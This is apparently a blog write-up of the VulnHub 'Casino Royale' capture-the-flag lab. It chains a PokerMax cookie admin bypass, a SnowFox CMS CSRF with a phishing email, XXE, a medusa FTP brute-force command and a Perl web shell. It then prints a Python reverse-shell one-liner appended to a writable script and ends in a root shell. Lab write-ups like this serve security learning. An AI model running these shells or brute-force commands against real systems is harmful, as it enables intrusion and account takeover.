Another James Bond themed CTF challenge from https://www.vulnhub.com/.
Scanning & Enumeration
Let’s start with a port scan of the target system:
Nikto highlights some interesting directories to check out:
The /install directory shows PokerMax Pro Poker software (v0.13) is installed. From a quick Google, an exploit is available (https://www.exploit-db.com/exploits/6766), allowing you to login as an administrator account by adding a cookie.
I used BurpSuite to add the cookie when making the request:
I was then redirected to the administrator panel without authentication 🙂
Once logged in, I could see listings of existing players:
One user profile stood out, due to them having an email address attached:
Cross Site Request Forgery Exploitation
As per the instructions in the user profile, I added in a hosts file entry for casino-royale.local to point to the VulnHub system, and go to the /vip-client-portolios directory. This shows a SnowFox CMS:
One post relates to contacting the CMS admin. From another Google, the SnowFox CMS application is vulnerable to Cross Site Request Forgery (https://www.exploit-db.com/exploits/35301).
Time to craft the CSRF exploit;
Then send an email to the target account to persuade them to click:
With our new admin account enabled, I could now login to the CMS as an admin. Whilst reviewing the user profiles, I noticed another web address in the “le” profile:
XML External Entity Injection
Looking at the source code of this URL suggested that it might be vulnerable to XXE:
I put together an XXE exploit using BurpSuite, which revealed the “customer” parameter was vulnerable:
Since the HTML comments in the previous webpage suggested the FTP user had a weak password, and we now know the username from the /etc/passwd file (ftpUserULTRA) this looked like a good brute force candidate.
medusa -u ftpUserULTRA -P /usr/share/wordlists/fasttrack.txt -M ftp -h 192.168.0.109 -t 10
I connected to the FTP server using the credentials gained through brute force. Looking in the FTP directory, there were files which were also accessible from the webserver, such as hello_world.pl:
This made it fairly obvious the aim was to upload a shell. Since existing Perl code was in place, that looked like the best option.
I uploaded /usr/share/webshells/perl/perlcmd.cgi, and used that to execute a reverse netcat shell:
After poking around for a bit, I could see some interesting files in the /opt/casino-royale directory.
The file casino-data-collection.py was owned by “le” but writable by my current user group (www-data).
I appended a reverse shell into the data collection file:
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.111',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','-i']);
By calling the file in the webroot, I got another reverse shell as the “le” user:
As per the previous directory listing, “le” was able to write to run.sh, which in turn was invoked from ./mi6_detect_test. The file already contained shell commands, so I added in /bin/sh. This provided a root shell.
Looking in the /root/flag directory, a flag script was found. Executing this started another web server …